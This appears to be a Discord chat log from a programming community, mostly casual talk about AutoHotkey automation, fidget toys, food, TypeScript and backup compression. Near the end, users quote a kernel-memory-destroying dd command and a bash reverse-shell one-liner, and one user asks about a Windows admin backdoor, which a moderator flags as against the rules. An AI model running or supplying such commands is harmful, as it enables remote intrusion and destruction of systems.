#ot1-perplexing-regexing
1 messages · Page 396 of 1
have you tried removing the virus from your databases
Because it'll bring up a prompt window for password protected client folders
the database is the virus
And I have to cancel that or it'll just sit and wait
So I can't even go and take care of something else
pyautogui?
I would except that the popup has appeared in two completely different places so far
On two different screens
And that's not a mess I want to try and figure out
I think it pops up with the client name, though
So I don't know if it's consistent
I'll have to look when the next one shows up
Pretty sure pyautogui can get you the position of the windows, just add the offset to the buttom
Considering there's over 3k clients, I'll have time to write one up if it's the case
And sorry I've been bitching so much about this on here
Hmm, nope
Okay I might be able to fenagle something
Brogrammer
Okay, seriously, why does it keep hopping between monitors
Isn’t where the last window has been focused?
Nope
Either pops up in the center on the left screen or in the center of the center screen
So pyautogui doesn't seem like it'll work for what I need
I'm not seeing any window detection
Just pixel placement
AHK should sort you out at least
Yeah looking into that now
ugh I don't really like this but it's all I can do
What's wrong with it?
I'd rather not have to like, call the function from within the lambda
it'd be nicer if I could just pass ::indexGet
the alternative is
I love kotlin function signatures
I don’t understand most of them, but I still love it
haha
maybe I should make a route function so I don't need this gigantic type declartion
ah yes, perfect
I can live with this
Wait, do the AutoHotKey things run indefinitely? Or can you make them do so? And if that's the case, do I lose the ability to keep using the computer while it's running?
I don't have any experience with the program
if you've got it in a loop it'll run commands in a loop
and yeah, since it's controlling kb/mouse at os level you will lose control
Well then I might as well just sit around and do it myself. But I guess I can at least set it up for if I have to go do errands or something....
Didn't think I'd be trying to learn yet another language today
hah :D
Why AHK over pyautogui or whatever?
pyautogui doesn't let me detect windows specifically, it only lets me dictate what action to take at a certain x,y position
And since this specific pop up seems to be bouncing between two monitors, that's a no go
I learned about it via Automate the Boring stuff I'm pretty sure
i guess i never got that far through the book
I've only ever tried to use AHK once and ended up just sort of giving up - very powerful tool though
yeah, very nifty.
when i was working at a school they had to re-do grades for all the students and one of the IT guys was sat there just clicking the same 5 buttons over and over
"hmm... give me 5 minutes."
Trying to see if I can give myself a crash course in it. Enough of one to get this one thing to be watched
So far the only piece I'm missing is having it know where the Cancel button is on that window and to press it
Teachers are often lazy. Most of them copy and paste as much as possible, so it was probably messed up long before it got to you in the chain
Sure, but there's a danger in automation in that any mistakes you make can be amplified.
Well, it can get rid of human errors too
Yeah, but the difference is with human errors they're going to be relatively infrequent within a given population. But with automation you can end up with 100% error rates
Which isn't me arguing against it, so much as a hazard to consider in the implementation.
There are advantages and disadvantages to both - and when in doubt, I'd much prefer if stuff defaulted to humans
whereas right now big corps default to automation
can't argue with the efficiency though
tbh since it was just like 5 key presses there was probably more of a chance of the human fucking it than my script
You can if it's efficient at being wrong.
repetitive work like that over long periods of time can lead to loss of focus
that's what i'm saying; it's efficiently wrong
Something like moderating should 100% be done by humans - but big corps tend to farm it out to computers (or their users via reporting) as much as possible
nice!
There can be automated elements to some moderation, and I'm saying that as a huge opponent of automation in moderation.
Yeah - there are some aspects computers can be good at - my issue is just that lots of places want to eliminate the human element entirely to save costs - and it just doesn't work
Right.
we can see this in a more impactful area
CV filtering
some larger orgs are using machine learning to filter CV's before they're seen by a human
AIs are the worst
which, as you can imagine, leads to some biases
2015, the company (Amazon) realized its new system was not rating candidates for software developer jobs and other technical posts in a gender-neutral way.
That is because Amazon’s computer models were trained to vet applicants by observing patterns in resumes submitted to the company over a 10-year period. Most came from men, a reflection of male dominance across the tech industry.
whoopsie
Okay, now to just wait for the next pop up so I can get the last details. This is kind of exciting
Coding myself out of some tedium
did you watch the cunk and other humans repeat last night? @undone berry @gentle moss
Nah - I like the characters as part of the wipe, but I can't face watching purely character comedy for too long
Wipe was pretty great tho
ah this episode was great though
I haven't seen either thing yet because the BBC says "no" to Ireland
the wipe was great indeed
the one after was kinda nice
because it reminded me what the fuck happened in 2019
a lot of that shit had completely fallen out my brain
@sand goblet hypothetically would you be willing to pay a license fee for it?
yes, and we used to be able to
Oh. Holy shit it worked
And it actually didn't take over my mouse
The window popped up and then boom
Gone
And showed that it had canceled in the export list
It's wild to me that it's not hijacking my mouse, though
i thought it might've tbh
I guess it's because it's a Window control instead of Mouse control
makes sense
Just sends the proper click signal to it rather than needing the actual cursor
nifty tool eh? :D
ahk is the only way I can get windows to be usable for me
what do you use it for?
You know.... I might be able to use this to check for engagement letters when that time comes....
Hmm
I might have to dive further into this at some point
pretty soon you're going to be sat there with loafers up on the desk playing with one of those ball and string paddles
I actually got pretty good with one of those
i haven't played with one since i was a kid. i sort of want one now.
all my desk fidget items are now like
strength bands, those squeezy things for forearm strength, pens
pens
@gentle moss
totally misread that
what's that do?
It's clicky at certain angles
oh like an armature type thing?
Yeah
i just use my keyboard. an old colleague thought i did sooo much work. 😄
no no. just tap the keys, without pressing... no need to waste precious idle CPU cycles.
you're welcome. 🙇
Well that might've gotten sent twice, guess we'll see
But it's such a nice satisfying sound
oh wow that folds pretty cool
ASMR
Not too loud, not too obtrusive
And yeah, you can fold it in all kinds of ways
Make little patterns
its like a noisy hair scrunchie.
And you can even unlink the parts
Which also means you can link them with more to get a friggin huge one
I don't think I could own stuff like that without idly just destroying it
Anything that lives on my desk just gets destroyed
At worst you'll just wear out the clicky
what about your computer
computer doesn't live at my desk - keyboards and mice have been destroyed in the past, but I manage to break the habit for those things
on floor, and mind controlled?
i broke a mouse once
was a tense quake game and my hand was sweaty. did a flick shot and the thing just flew out my hand.
I had a string of mice where I broke the scroll wheel from slamming it on the desk
i usually kill the clicker in scroll wheels. aggressive scrolling
i've wanted to give a keyboard the grunge-guitar-smash treatment, just for the sake of doing it. but, i'm cheap...so i don't.
did you have the proper music on while doing it?
no. :(
beastie boys wasn't it?
😞
trying to remember
Feels Good To Be A Gangsta, iirc.
Neon are you even old enough to remember that movie
i'm older than you Hem
i think it's geto boys
child
I think it's the nyan cat that throws me off every time
haha
How old are you @rough sapphire ?
That and my shitty memory span
This is going to drive me nuts, there's a certain pattern I can make with this thing that looks really cool but I can never remember quite how to make it
if someone wants to find me a new avatar go for it
oh that's horrifying
:D
let's see what it looks like
A cross between a poptart and a lovecraftian nightmare
i don't have to be a nyan cat
yeah gotta keep a theme though
i tried changing my golfball and people didn't like it
Just go for a picture of your actual real life face
i did that and people didn't like it either.
But only if it has that like
uwu
80's laser yearbook background
I remember - and it was better than your current one
RTJ Ooh LA LA shows up in YT recommended list...must click. why are they so good?
June? or July? one of them...
I thought that the second one was 👌 for a second
honestly, can't wait to hear the track(s) with Pharrell.
i suck at picking avatars. even my whatsapp is blank
what's rtj?
Run the Jewels
i suck at picking avatars. even my whatsapp is blank
@rough sapphire just take a piece of paper, do some drawing, scan it, and you have an avatar haha
i suck at picking avatars. even my whatsapp is blank
I too suck at picking avatars
it's a decent colour cup of tea to be fair
i should change mine soon. this guy is getting stale...
Oh my god. That took me FAR too long to remember how to make that shape
I've literally been sitting here for the past 20 minutes trying to replicate it
Time well spent
automate more, do less \o/
it's interesting that it folds so well
for just a bunch of uhhh...
dingledangle joints
i forget the name.
Found a bunch of them online on Amazon.
I'm sure they're out there for cheaper, too
But like
So satisfying
I think that's the brand
You can usually find them as "snap and click" toys
Since you can snap the pieces together or apart
I feel silly advocating them so much
But compared to a lot of other fidget things I've used, it requires the least amount of concentration to be satisfying and does help me focus
Most other things require two hands or just don't have the right tactile feel to them
Or are too loud or what have you
i'm looking at desk toys now
I'm not sorry
the little slidy thing on the pole falls at the gravity rate of each thing
I WANT A JUPITER
Oh that's dope
Finally. Sweetend
I wonder how that works.... air resistance or bushing are my guess
Ohhh true
drop a magnet down a copper tube and it falls slowly
That's a really good point, I hadn't thought about that
Oh, I had this thought the other day. If something is good at conducting electricity, does that also automatically imply it's good at conducting heat?
Super conductors not withstanding
Neat.
The Wiedemann-Franz law states that the ratio of thermal conductivity to the electrical conductivity of a metal is proportional to its temperature.
I'm sure there's going to be some sneaky outlier somewhere, or some sneaky quirk of physics somewhere that sidesteps things.
That's cool. Always satisfying to find stuff like that
Like supercooling some stupidly insulating matter makes it freak out and start conducting because physics.
i suppose it makes sense since it's all about the movement of electrons
hahaha
"Executive Sandbox"
yes, both are conductive properties so are generally relative.
never really thought about it across all metals
i know copper does the electricity and the heat good.
I had a tiny zen garden like that
Those are nearly impossible to clean up if you spill it, though
Would not really recommend
i had one for a bit too.
then i got water in it and was like "ah fuck it"
one of these things is not like the others.
You could put a glass top on it and use magnets to manipulate tools and things.
that sounds like a crystal maze sort of game
🎶 One of these things just doesn't belong; Can you find out which is not like the other by the time I finish this song? 🎶
there are a number of raunchy books in the executive toy search results
That's terrifying
Wait
Why are the snap and clicks under "Brain Teasers"
They're not like... complex
Oooooooooooo
I wonder how solid a 3d printed set would be
i was scrolling down and just caught this
hah, now Hemlock can feel bad too 😦
That's kind of my thing
i wonder if that was a stock photo
Great institutional culture right there.
i still can't not see a snapped neck
they look like those sweets/candies from charlie and the chocolate factory
The ever lasting gobstoppers
that's the fucker
so you can stab your mouth
Maybe she's just really flexible. I believe there's precedent for people who can do 360s.
when i was a kid they used to sell gobstoppers bigger than your mouth
Owls sure
like wtf was with that
i'm not a fucking snake
they don't even taste good
Those don't
But the wonka gobstoppers were always nicely flavored
Or at least I thought
You don't see them as often anymore, though
Probably since it's literally just sugar sitting on your teeth
Ah. I'm confused. Not 360s. 180s.
but i do imagine executives reading this for some reason
Or giving it to an employee
"You fucked up. I'm not mad, but read this."
The script is still working~~
I don't know why I thought it would screw up at some point but nope
Still chuggin' along
And honestly (knock on wood) I figured DMS would throw an error far before this point
:D
well executive groups kinda generally have a strong overlap with people who have impulse control problems...
Sure but that one seems to be about higher executive function for kids
I don't think you'd catch a CEO reading that
Although plenty could use it....
-coughMuskcough-
maybe it's put there in jest lol
Likely just a keyword oopsy
HA
i might gain a blank stare and an inability to answer questions
I have that now. OH NO
the questions thing?
yeah the blank stare and "don't can't won't answer\think"
Probably less so. There was a lot more cocaine back then
i think the socially shit-ness is a new thing because of tech nerds
I will say something about our people: a lot of us do not do well when given power
Too many personal vendettas for all the wedgies
:D
power does have a weird tendency to rise to the head...
you don't know it until you have it
the not answering questions thing has been around for ages though
that's just avoiding getting thrown in prison
Yep
Man that was a fun debacle
unless you were californian
tbh it was such an insane thing
More like, as the kids these days say, "yikes"
"When your butt doesn't smell enough like AXE."
oh nice
wooden gavel / block set
should get one i get back in the office
"DISMISSED"
bang
"NO THE WIFI ISN'T DOWN"
there's only 7 pages of results for "executive toys"
i guess they're not called that anymore
well that's enough of that.
pretty sure my eyeballs were about to rip themselves out my skull
tiny leaf blowers, obviously a need.
I'll only be impressed with that if it is still as loud as a full sized one
But not fully clean a keyboard.....
nothing but a toothbrush and bleach can clean a keyboard properly.
Dishwasher
steam cleaner
A very persistent pug
a well manicured lawn and vigorous rubbing
"Um, we're trying to play golf here." "Yeah yeah, hold on, I just have to get the gunk off my spacebar."
wash the keycaps in the ball washer
I just had beans instead of minced meat in taco, and can honestly barely tell a difference
Except it's a lot cheaper
also probably a lot healthier
Possibly
Unless the bean corporation fills their beans with minced meat to get roughly the same consistency
Were your beans from a can?
Ye
hm - apparently canned beans are less healthy than uncanned beans - but those are also the only kind I've ever even seen
"ecological beans" in a cardboard "can"
It was also relatively quick to prepare, thats a bonus
Huh, I just had ~800kcal of beans
Might wanna tone that down next time 
oh man - I really want some non-baked beans right now
@undone berry Mostly you see either canned or dried beans
yeah, dried is apparently much better
Dried beans are supposedly extremely economical
but all the supermarkets here only have canned*
Pretty easy to cook too
i just never actually found a place that sells them in bulk
Oh yeah, they're cheap as hell
Like even at walmart it's absurdly cheap
The bags might look smallish but they plump up so much
We don't have walmart :(
Any grocery place should have something
I believe i paid $1.5 for a can of 400g kidneybeans
I would think
i pay 80p for about that size can of kidneybeans or black beans
oh shit work is over.
downstairs time.
\o/
it is 2.2$~ for 820 gr on my local shop
Not bad
dried or canned?
can
Any idea how much 100g of dried beans turns into once hydrated 🤔 ?
Let me check
They gain 1.5 times the dried weight. eg 100 g dried ==> 250 g cooked.
Is what google gave me
Yeah that's what I'm seeing
Honestly getting a shit ton of dried rice and dried beans is a great way to have stuff at the ready
Rice+Beans+Hot sauce has got to be a pretty reasonable meal right?
I just discovered a can of black beans
Skip the hot sauce for me
can get 500g of dried (1250g hydrated) for $5
But yeah
Or some frozen veggies
What if it's the next big thing
I'm not wasting my raspberries on that chance
that you can open a resturant about
they're too precious
I don't know why, but I always found it weird that it's "rasp"berry
but ye some soft of tomato sauch sounds good with that
Truth
should be raspperry right
I don't know many people who say the p
Perry is cute
Kind of like the first r in February
waits theres an r there?
You're not alone
But if you say it like "Feb rue airy" you'll get laughed out of town
Or I guess "fe brew airy"
I'd give my beans/rice/tomato meal a solid mediocre+
til that the state of georgia has removed the requirement to take a driving test to get a license
"it's up to parents to decide when their kids are ready to drive"
why
so that means the parents can keep the kids grounded forever, or they can let anybody on the road?
well it'd keep the kids grounded until they're adults
then they can just get a license
idk how good US driving tests are but this seems like a mistake
but if you're under 18\21 your parents can still keep you grounded
ooooh
It's Georgia's way of handling the backlog of the thousands of road test requests that have been put on hold due to the coronavirus pandemic.
"right, we've got this huge backlog of road tests. what do we do?"
"uhhhh.... not do them?"
i guess i misread it earlier
20,000 people, i guess mostly teens (16 and above), just got their licenses for free
but there's the chance that this will be misused a bit I think
there will be legal guardians who will be there to say no just because
who knows
but still
apparently driving test pass rates are about 40%
12,000 people driving who would've failed
lol
Daaaaaaaaaaaaaaaamn iiiiiiiiiiiiiiiiiii
After 4 hours of doing so well
I hate this god damn program
I hate it SO much
Okay, I feel better now
I... don't know actually. Because this also popped up in the export list
O_O
Welcome to my personal hell
Oh god damn it
Trend turned itself back on
That's why it failed
christ
Okay, that makes me feel a little better at least
does it only have a limited time out?
Not that I know of
I literally turned it off
So it must have a process that kicks it back on eventually
I think I'm going to cross my fingers, hope it got the first half and pick up where it left off
I think that's the only thing I CAN do at this point
turned off the service?
Can't
no admin privs?
I don't have the permissions to kill it fully
I have local admin
But it doesn't let me dig that deep
so can't get in services.msc and yeet it then
Possible.... i might as well look
Hmm.... might just be this one service I have to kill.....
Trend Micro Unauthorized Change Prevention
Of course not
It's greyed out
oof
The number of times I've felt like I've had my hands tied when trying to do stuff is just incredible. I mean there's huge benefits to them managing everything in the back but like
Damn it
Nothing to be done about it, though. I'll make it work somehow
keep an eye on the time, maybe it kicks in on a schedule
or maybe there's a scheduled task
Right
yeah, maybe check the task scheduler
Yep, sure enough
Although mildly confusing
"Trigger: Daily: At 1:52 PM" It's 12:52
So I'm guessing the task scheduler doesn't look at DLS?
Ugh, whatever...
It's running again, that's all I care about
nice
Geez guyz I have a new work and i like it a lot
that's good to hear!
In the two first week i learnt a lot of stuff, I got already smoll smoll code in production and I have constructive criticism
No longer personals attacks and 9 month to decide how to name a fucking excel sheet
iirc you're working in a factory or something?
doing programming
but like industrial stuff
Yeah, food/insect stuff factory. Cant say much because im not authorized
Well - it's fantastic that you're enjoying it
But i was starting to believe that i was simply not made to work
well you're doing great. you WON the game jam!
Yeah 2 wins in 2 weeks
i'd take the honorary last place if that was awarded but I don't think they award that 😦
Its my peak
clearly the game jam drowns out the job
the only thing that really matters in life is silly internet competitions
It is pretty damn impressive that you managed to solo win the jam whilst starting a new job
Not too much so they dont stop speaking to me
wait you did it alone?
or was the jam just before you started?
The jam was at the last week of the old one
It was very few code, but a lot on the sprites
My partner was glad i finishes because i was too much absorbed
Thanks
I'd say i spent 80% of my time on pixel studio
Well - clearly it paid off because you're gam looked very pretty
Thanks
I do think the stacking game is the most "professional"
Like thoses old browser games
I played a lot of thoses as a teen
Random dumb browser flash games were very fun - kinda sad that that entire sphere of game dev is just gone
But its more competitive
Phone games take a lot more investment to play
you have to actually download something - which is a much higher bar than clicking a link
I remember trying adventure quest
That has not aged well, if it's the same one I'm thinking of
It was really funky even at the time
That's the one I tried
Yeaaah
Yeah, it was quite special
Yeah, the plot made no sense at the time either
And there is a really weird self insert of the main creator in it
But I think it's harmless and good fun
Can you refresh my memory on this ?
So like.... the cute sidekick creatures, I can't remember what they're called
There were two that looked like Jamie and Adam
And I think you were going around helping them bust really dumb Myths about stuff that always ended with them either exploding or you having to bail them out of a fight
"Cute" is big word for gremlins
Oh I remember that game
It's been like..... 15 years since this
I recall someone doing an even shitter nsfw parody of it as well
Runescape managed to adapt
Curiosity kills the cat
This..... very did not
They released a MMO i think
Information made him fat
Not long ago
Yeah they never stopped i think
What means floundered
I guess whales
Like..
Flopping around like a fish who can't do anything
Like the flounder fish
Oh like a magikarp
Magikarping
Is that like.... unsuccessful catfishing?
I was like, magikarping, with my bruh a nice beer you know
But yeah whales and kids
Rigty ill move
do anyone know linear algebra
i am trying to understand this :d
maybe some data scientist can help
how about some math discord
though there is no question to be answered in sight... 😛
😄 yeah i figured out but not deleted
btw there are people know this stuff in this server but seems they are gone
either they have left or busy
corin etc.
actually now that i realize what that thing says, it only says there's a nifty way of calculating the inverse matrix
given that it exists for some matrix A
was expecting some question about the proof for the validity of that method or something
which would be a whooole another ordeal
@tame terrace is the python icon (yellow and blue) copyright, I want to use it for something but don't know if i can modify / use it
I checked and it seems fine
i just want to make sure
@ocean cipher there's information on that here: https://www.python.org/community/logos/
there's more details on when you're allowed to use it here: https://www.python.org/psf/trademarks/
essentially, if it's a non-commercial project and you're not gonna make big modifications to it, it's pretty much always fine
but they prefer that you don't change the shape of the snake or the eyes and ensure there's sufficient contrast between the background and the snakes
So I need to make some backup of some physical disks in case we lost one of them, and I need to make the archive as small as possible, what format would you advice me to use? I heard that xz is pretty strong, is that a good choice?
I use clonezilla to do that kind of thing
Let me see what it uses..
Looks like they're just gzipped
Well, I don't think clonezilla is an option, we have something like 50 disks or so
Well, optical disks
Well yeah, maybe not, but the format it uses is probably fairly safe
The thing is that we should never open those files anymore, they are just backups, and I think we'll store them online so they need to be as small as possible
LZMA has the highest compression factor
however, at some point, it just can't compress more
text is very compressable, binary not so much etc
But have you ever looked at M-Disc?
It's basically disks made of stone, so they are very durable
well, without organic components
tape is also still a thing for backups, but the devices are a bit pricey
Well, we don't need to go that hard-core, there are just pictures on those disks
I'll take a look at LZMA thanks
I think they are all bitmaps
I have three un-used sata optical disk drives, I think I'll just plug them in haha
!e python print("2")
You are not allowed to use that command here. Please use the #bot-commands channel instead.
!e print("2")
You are not allowed to use that command here. Please use the #bot-commands channel instead.
Hey @pseudo crystal @rough sapphire, here seems free
oh right
That's unnhh, a lot of reviews haha
yeah 😰
What was your PR that got reviewed by GvR?
thanks
from charlie: https://discord.gg/csharp
I'm pretty sure that I have changed my mind about TypeScript.
When I first learned it I thought, "This is the way to write JavaScript, its gonna make everything fall into place."
But it doesn't. Its joyless.
Its just infinite red lines and unecessary hacks to get rid of them
A lot of times I dont even know what the state of my code is or how it works because Im just trying to clear away redlines and havent actually ran the program at all.
Its awful and im done
I cant separate between, "This would work just fine if not for this stupid thing i have to hack around" and "This just wouldnt work."
A lot of times I can't even say, "If I did this, then this would break in this way." because its just infinite red lines to clear, nothing more
@rough sapphire this has never been my experience tbh
@balmy furnace You said you wanted recommendations of a project to do. What projects are you interested in?
@rough sapphire .... yeah, idk. I'm just complaining. I enjoyed TS at first. I don't enjoy it anymore. I generally dont enjoy JavaScript at all.
oh everyone is entitled to their own opinion lol, but maybe your terrible experience with ts is because of you not being familiar with the js ecosystem in general? if for some reason you decide to write some javascript again then maybe you can ask for help in reactiflux and
typescript community, these two servers are particularly helpful
It is true that being less familiar with it is part of why it frustrates me. But I understand the ecosystem enough to say that my least favorite part of JS is the ecosystem. I try to not use npm as much as possible. I dont really do frameworks. I would much rather make wesbites with Flask. So... it's kind of different when JS is not the basis of your entire application.
The whole reason I moved to TS is because.... JS becomes a huge mess.
the project i am working on is 50% rust, 50% typescript lol
And I thought it would help me get it under control
But it just makes coding take longer
I would say its mostly because its my first experience with being forced to deal with types like that.
The thing that makes me so angry about it is when it tries to tell me that my HTML Elements could be null.
It infuriates me because TypeScript cant check my HTML to see if the element is there. So why is it harassing me and expecting an extra line where I check if the type is null?
Because its entirely on me to check that file and make sure the element is there. So I think TS should stfu lol
Im going to get mad again ha
but yeah I know that i make a big deal out of it for nothing and plenty of people use it all the time
I prefer not to
@rough sapphire oh lol, maybe you are not terribly used to type systems but guard conditions against null/undefined are common
const { operation_id, associated_frontend_data } = operation;
const validated = (() => {
const parsed = JSON.parse(associated_frontend_data);
if (!AssociatedFrontendData(parsed)) {
console.log(new Error("This should be unreachable."));
return;
}
return parsed as AssociatedFrontendData;
})();
if (validated === undefined) {
console.log(new Error("This should be unreachable."));
return;
}
yeah, I guess. It makes sense to do it with things that TypeScript can tell if the types match. If they dont, "Bad."
But with my HTML Elements, it can't tell. So why does it think it knows? It doesnt.
I suppose I can think of a good reason actually
You could log to the console the name of the element if its null
and always know when something is wrong
@rough sapphire actually you are supposed to perform some defensive checks against your element to be totally sure that the element you are manipulating is non null and is of the type of expect it to, for example, an input element. or you can use a framework such as react to make all this stuff much more palatable
(tbh i wouldnt do web stuff without react nowadays, its totally insane to manipulate raw dom elements)
I have no intention of using React. But yeah, I see what you mean. I was just in a beligerant mood because my thing wasnt working but it works now and im more reasonable.
yeah, but you have to understand that building an entire app in JS is not something I want to do. JS is a little small enhancement.
In most cases not even necessary to run the site.
Thats how i prefer it
i get your frustration lol
I would consider using React if I had an idea that was something only JS could do. But for example if Im making a document based application that is essentially...
It shows these pages, it has this variation of things it shows in these areas, the content goes here.... there's a menu, it opens up more pages with similaar text and asides to other parts of the site...
You dont need a massive React app to do that
Its like taking a flamethrower to kill a fly.
Also, JSX 🤢
when and how do we use /dev/kmem
and how can this break the computer
:!sudo dd if=/dev/urandom of=/dev/kmem // TYPE THIS IN VIM , WARNING cAN BREAK ENTIRE COMPUTER
and does vim has its own if statement
i couldnt understand the if and of
That has basically nothing to do with vim
:! is just for running a shell command
The rest is a normal shell command
dd will basically take data from the infile if, in this case the random number generator, and write it to the outfile of, which is your memory here
It's literally filling your RAM with random numbers.
Specifically kmem, which is kernel memory if I'm not mistaken
@low shadow
kernel memory = RAM ?
Well it's specifically the RAM reserved by the kernel
ok
For kernel operations
print("Hello there!")
is there man page for if/of as mentioned above @sand goblet
i doubt anyone uses the " anymore in python
i like C++ more than python
I only use python
Different people use different quotes
Some of them are easier to reach on different keyboard layouts
Although in some languages, different quotes mean different things
' mean char " mean string
A couple weeks ago I thought " was the only way
Not necessarily
Although that is true in eg java
For example in yaml, ' is a raw string that doesn't have any escapes
interesting
i was very confused when i started C++ programming because of ' and "
:p
I don't understand why the people that made the python bot dont just get rid of the !free cmd
You are not allowed to use that command here. Please use the #bot-commands channel instead.
and the help channels too
hmm
bash -i >& /dev/tcp/IP/port 0>&1 what does >& do , letme explain , correct me if i m wrong, the stdout of bash -i is getting redirected to /dev/tcp/IP/port and again stdin is getting redirected to stdout, but what does >& do
Why would they get rid of that command or the help channels
That makes no sense@drowsy rose
You did, but maybe it's not what you meant haha
:p
But why get rid of the command? There's a lot of people that used to use it but haven't gotten help since then, I'm sure
I mean yeah, but it directs people to that now
So if you know the command but not the system, you can still use it to get help
pip install moreBrainCells
It's a bit of a fallacy to assume people will even notice the new system lol
I think !free will be removed once people stop using it, but until then it is helpful
ppl still use !free?
rkh-mac-2:~ hybrid$ pip install myLife
Oh it's like the most recent thing in meta
@drowsy rose it's there because people are used to it
it was a conscious decision
if we just remove it, people used to invoking that command will get no response from the bot
we thought it would be a lot better if we instead use it to inform them that there's a new system
please dont ping me
Turning off ping notifications is a thing, isn't it?
yup
but this seemed like a good reason to ping
it'd been 10 minutes and the message was directed to one specific person
please dont ping me
you can turn off ping notifications, the ping seems reasonable to me
once in a blue moon someone takes issue with me pinging/tagging them lol, and i have to politely tell them that its in fact the norm to do so
its great that i have to do it less and less often now lol
@drowsy rose https://arse.ee/iEZ0yIt2.png if you'd like to turn off ping notifs for this server
hello xx
i'm not sure you can.
:(
does anyone hungarian here
😄 good joke .
what kind of soup
Tomato but I put some fresh basil into it
mmm
are you still doing OMAD?
the next way to level up tomato soup is a little bit of paprika
i was thinking that OMAD but the one M is a tomato soup would be brutal
Maybe tomorrow, it'll probably be soup again because weird tooth problems
Haha yeah that would suck
Man, I had a tooth that lost a filling ages ago and I got it filled again immediately, like, the next day
And a few days ago it cracked and I lost the filling again
And the tooth doesn't hurt but now chewing murders me with jaw pain after a while regardless of the side
So weird
hi there
Does someone know how to install that module?
"from bytearray import ByteArray"
does it even exist
bytearray is a built-in, isn't it?
¯_(ツ)_/¯
Fun fact: If you put a dmg file into VSCode and open it, it is over 10k lines of gibberish
is it possible to create a software (like a backdoor) in Win 10 so whenever i forgot my password, i can use backdoor method to become admin and do whatever i want?, in win 7 if i replace cmd.exe with some other soft while opening my win 7 there were some option to open cmd.exe and when i opened i got another software
Fun fact: If you put a dmg file into VSCode and open it, it is over 10k lines of gibberish
@drowsy rose there are lot of gibberish file, not only .dmg
like .iso, .dll, .bin etc
yeah but we cant help with that
@stuck meteor you import lots of standard library modules
hmm i got this one
it does come with Python
but for win7
Please don't discuss this here @low shadow, it violates rule 5
but what's bytearrays module ? @sand goblet
bytearray isn't it?
but why did this dude import bytearray
and what's module is decipher
python 2 probably
you mean decode?
with local access to a windows 10 machine you can boot into safe mode and enable an administrative user
well, decipher isn't standard library and the name is ambiguous
thats not my console
probably python 2
if you're not sure what he's up to, you may want a better tutorial
hmmmmmmmmmmmmmmmmm
that sounds vaguely sketchy
^
wdym
I mean, it sounds like piracy or DRM bypass
5. Do not provide or request help on projects that may break laws, breach terms of services, be considered malicious/inappropriate or be for graded coursework/exams.
No, bots are allowed in this game
but you need to extract the game login keys
to connect your bot
im not asking how to extract these keys, but i dont know how to decrypt the bytes
i think there is something wrong with my computer
decryption needs a key and algorithm
im not asking how to extract these keys, but i dont know how to decrypt the bytes
@stuck meteor do u have the key
and the algorithm
what's the game?
and what are u decrypting , do u know unless you know encryption algo u cant decrypt
im saying decrypt the bytes
this guy actually did it
I need to understand what's this module
ByteArray
as it says array of byte
